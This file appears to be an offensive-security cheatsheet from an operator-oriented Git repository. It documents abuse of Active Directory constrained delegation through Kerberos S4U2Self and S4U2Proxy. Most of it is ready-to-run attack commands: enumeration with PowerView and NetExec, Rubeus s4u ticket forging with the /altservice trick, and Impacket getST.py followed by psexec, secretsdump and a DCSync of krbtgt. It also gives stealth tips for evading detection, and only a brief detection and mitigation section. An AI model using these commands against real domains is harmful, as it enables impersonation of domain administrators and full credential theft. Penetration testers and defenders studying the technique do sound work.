daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

attack-16-constrained-delegation-abuse-s4u2proxy.md (9489B)


      1 ---
      2 title: "Attack #16 β€” Constrained Delegation Abuse (S4U2Proxy)"
      3 description: "Constrained Delegation was designed as a safer alternative to Unconstrained Delegation. Instead of caching every user's TGT, a service configured for…"
      4 category: active-directory
      5 subcategory: "Kerberos & Delegation"
      6 tags: ["active-directory", "kerberos", "delegation", "hashing"]
      7 tools: ["NetExec", "Impacket", "Rubeus", "BloodHound", "PowerShell"]
      8 difficulty: advanced
      9 updated: "2026-08-10"
     10 source: "vault:ActiveDirectory/AD-Attack/Category-Two/🟠 Attack #16 β€” Constrained Delegation Abuse (S4U2Proxy).md"
     11 ---
     12 # 🟠 Attack #16 β€” Constrained Delegation Abuse (S4U2Proxy)
     13 
     14 ***
     15 
     16 ## πŸ“– How It Works
     17 
     18 Constrained Delegation was designed as a **safer alternative to Unconstrained Delegation**. Instead of caching every user's TGT, a service configured for Constrained Delegation can only impersonate users to **specific services listed in its `msDS-AllowedToDelegateTo` attribute**. However, if an attacker compromises the constrained delegation account's credentials (password, hash, or keys), they can abuse this by using the **S4U (Service for User) protocol extensions** to impersonate any user β€” including Domain Admins β€” to those specific services.
     19 
     20 ### The S4U Protocol Extensions
     21 
     22 | Extension | What It Does | Key Detail |
     23 |---|---|---|
     24 | **S4U2Self** | Service requests a ticket to ITSELF on behalf of another user | Returns a forwardable service ticket for the target user |
     25 | **S4U2Proxy** | Service uses that ticket to request a ticket to a DIFFERENT service | Impersonates the user to the allowed backend service |
     26 
     27 ### The Full Attack Flow
     28 
     29 ```
     30 1. Enumerate accounts with msDS-AllowedToDelegateTo set
     31 2. Compromise that account (Kerberoasting, credential theft, etc.)
     32 3. Use S4U2Self to obtain a ticket as Administrator to YOUR service
     33 4. Use S4U2Proxy to exchange it for a ticket to the TARGET service (e.g., CIFS/DC01)
     34 5. Authenticate to the target service as Administrator
     35 6. Full access to the service β€” if CIFS/LDAP to DC, it's game over
     36 ```
     37 
     38 ***
     39 
     40 ## βš™οΈ Prerequisites
     41 
     42 | Requirement | Detail |
     43 |---|---|
     44 | **Compromised delegation account** | Password, NT hash, or AES key of the account with Constrained Delegation |
     45 | **msDS-AllowedToDelegateTo populated** | Must have target SPNs configured |
     46 | **Target user not in Protected Users** | Protected Users and "sensitive" accounts block delegation (unless Bronze Bit is used) |
     47 
     48 ***
     49 
     50 ## πŸ› οΈ Tools
     51 
     52 | Tool | Platform | Notes |
     53 |---|---|---|
     54 | **Rubeus** | Windows | `s4u` command β€” full S4U2Self+S4U2Proxy flow |
     55 | **Impacket β€” getST.py** | Linux | `-impersonate` flag for S4U exploitation |
     56 | **PowerView** | Windows | Enumerate constrained delegation accounts |
     57 | **BloodHound** | Both | Visual identification of delegation paths |
     58 
     59 ***
     60 
     61 ## πŸ’» Full Commands
     62 
     63 ### πŸ”΅ Step 1 β€” Enumerate Constrained Delegation
     64 
     65 ```powershell
     66 # ── PowerView ─────────────────────────────────────────────────────────────────
     67 Get-DomainComputer -TrustedToAuth | Select-Object samaccountname, msds-allowedtodelegateto
     68 Get-DomainUser -TrustedToAuth | Select-Object samaccountname, msds-allowedtodelegateto
     69 
     70 # ── AD Module ─────────────────────────────────────────────────────────────────
     71 Get-ADComputer -Filter {msDS-AllowedToDelegateTo -ne "$null"} -Properties msDS-AllowedToDelegateTo |
     72   Select-Object Name, msDS-AllowedToDelegateTo
     73 Get-ADUser -Filter {msDS-AllowedToDelegateTo -ne "$null"} -Properties msDS-AllowedToDelegateTo |
     74   Select-Object Name, msDS-AllowedToDelegateTo
     75 ```
     76 
     77 ```bash
     78 # ── Impacket ──────────────────────────────────────────────────────────────────
     79 findDelegation.py corp.local/low_user:'Password1' -dc-ip 10.10.10.10
     80 
     81 # ── NetExec ───────────────────────────────────────────────────────────────────
     82 nxc ldap DC01.corp.local -u low_user -p 'Password1' --delegated-access
     83 ```
     84 
     85 ### πŸ”΄ Rubeus β€” S4U Attack (Windows)
     86 
     87 ```powershell
     88 # ── S4U2Self + S4U2Proxy β€” impersonate Administrator to CIFS ──────────────────
     89 .\Rubeus.exe s4u \
     90   /user:svc_sql \
     91   /rc4:a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6 \
     92   /impersonateuser:Administrator \
     93   /msdsspn:CIFS/DC01.corp.local \
     94   /ptt
     95 
     96 # Flags:
     97 # /user             = Compromised constrained delegation account
     98 # /rc4              = NT hash (can also use /aes256: for stealth)
     99 # /impersonateuser  = User to impersonate (any non-protected user)
    100 # /msdsspn          = Target SPN from msDS-AllowedToDelegateTo
    101 # /ptt              = Inject resulting ticket
    102 
    103 # ── With AES key (stealthier) ────────────────────────────────────────────────
    104 .\Rubeus.exe s4u \
    105   /user:svc_sql \
    106   /aes256:b65fb27c8e0d7c5f48b16c10b4c1d91a9b3c2d4e5f6a7b8c9d0e1f2a3b4c5d6 \
    107   /impersonateuser:Administrator \
    108   /msdsspn:CIFS/DC01.corp.local \
    109   /ptt
    110 
    111 # ── Alternate SPN (SPN for a different service on same host) ──────────────────
    112 # If msDS-AllowedToDelegateTo says CIFS/DC01, you can often request
    113 # other services on the same host by changing the SPN prefix:
    114 .\Rubeus.exe s4u \
    115   /user:svc_sql \
    116   /rc4:a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6 \
    117   /impersonateuser:Administrator \
    118   /msdsspn:CIFS/DC01.corp.local \
    119   /altservice:LDAP/DC01.corp.local \
    120   /ptt
    121 # /altservice = request ticket for a DIFFERENT service on the same host
    122 # This works because the service name is not integrity-protected in the ticket
    123 
    124 # ── Verify and use ───────────────────────────────────────────────────────────
    125 klist
    126 dir \\DC01.corp.local\C$
    127 # If LDAP β†’ lsadump::dcsync /domain:corp.local /user:krbtgt
    128 ```
    129 
    130 ### πŸ”΄ Impacket β€” getST.py (Linux)
    131 
    132 ```bash
    133 # ── S4U attack from Linux ─────────────────────────────────────────────────────
    134 getST.py -spn CIFS/DC01.corp.local \
    135   -impersonate Administrator \
    136   -dc-ip 10.10.10.10 \
    137   corp.local/svc_sql:'ServicePass1'
    138 
    139 # ── Using NT hash ─────────────────────────────────────────────────────────────
    140 getST.py -spn CIFS/DC01.corp.local \
    141   -impersonate Administrator \
    142   -hashes :a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6 \
    143   -dc-ip 10.10.10.10 \
    144   corp.local/svc_sql
    145 
    146 # ── Using AES key ─────────────────────────────────────────────────────────────
    147 getST.py -spn CIFS/DC01.corp.local \
    148   -impersonate Administrator \
    149   -aesKey b65fb27c8e0d7c5f48b16c10b4c1d91a9b3c2d4e5f6a7b8c9d0e1f2a3b4c5d6 \
    150   -dc-ip 10.10.10.10 \
    151   corp.local/svc_sql
    152 
    153 # ── Use the resulting ticket ──────────────────────────────────────────────────
    154 export KRB5CCNAME=Administrator@CIFS_DC01.corp.local@CORP.LOCAL.ccache
    155 psexec.py -k -no-pass corp.local/Administrator@DC01.corp.local
    156 secretsdump.py -k -no-pass corp.local/Administrator@DC01.corp.local
    157 ```
    158 
    159 ***
    160 
    161 ## 🎯 OPSEC Tips
    162 
    163 - **The `/altservice` flag is critical** β€” even if allowed-to-delegate-to only lists CIFS, you can request LDAP, HOST, HTTP, etc. on the same host
    164 - **AES keys > RC4** for avoiding encryption type anomalies
    165 - **Protected Users block delegation** β€” Administrator is NOT in Protected Users by default, but some hardened environments add them
    166 - **Constrained Delegation without protocol transition** (`Use Kerberos only`) requires the user to have actually authenticated via Kerberos; with protocol transition (`Use any authentication protocol`), S4U2Self works regardless
    167 
    168 ***
    169 
    170 ## πŸ›‘οΈ Detection β€” Event IDs
    171 
    172 | Event ID | Source | What to Look For |
    173 |---|---|---|
    174 | **4769** | Security Log (DC) | S4U2Proxy TGS request β€” service account requesting TGS for another user to an allowed service |
    175 | **4768** | Security Log (DC) | TGT request for the constrained delegation service account |
    176 | **4624** | Security Log | Network logon as impersonated user from unexpected source |
    177 
    178 ***
    179 
    180 ## πŸ”— Attack Chain Context
    181 
    182 ```
    183 [Constrained Delegation] ──→ Impersonate Any User to Allowed Services
    184          β”‚
    185          β”œβ”€β”€β†’ πŸ”‘ Kerberoast service account hash β†’ S4U β†’ DA impersonation
    186          β”œβ”€β”€β†’ πŸ”„ /altservice β†’ pivot from CIFS to LDAP β†’ DCSync
    187          β”œβ”€β”€β†’ πŸ”— Chain: Kerberoast (#2) β†’ crack hash β†’ S4U β†’ domain compromise
    188          β”œβ”€β”€β†’ πŸ†š Bronze Bit (#18) bypasses "sensitive" account protection
    189          └──→ πŸ’€ Defeated by: Protected Users group, remove delegation, rotate passwords
    190 ```
    191 
    192 ***
    193 
    194 > βœ… **Attack #16 β€” Constrained Delegation complete.**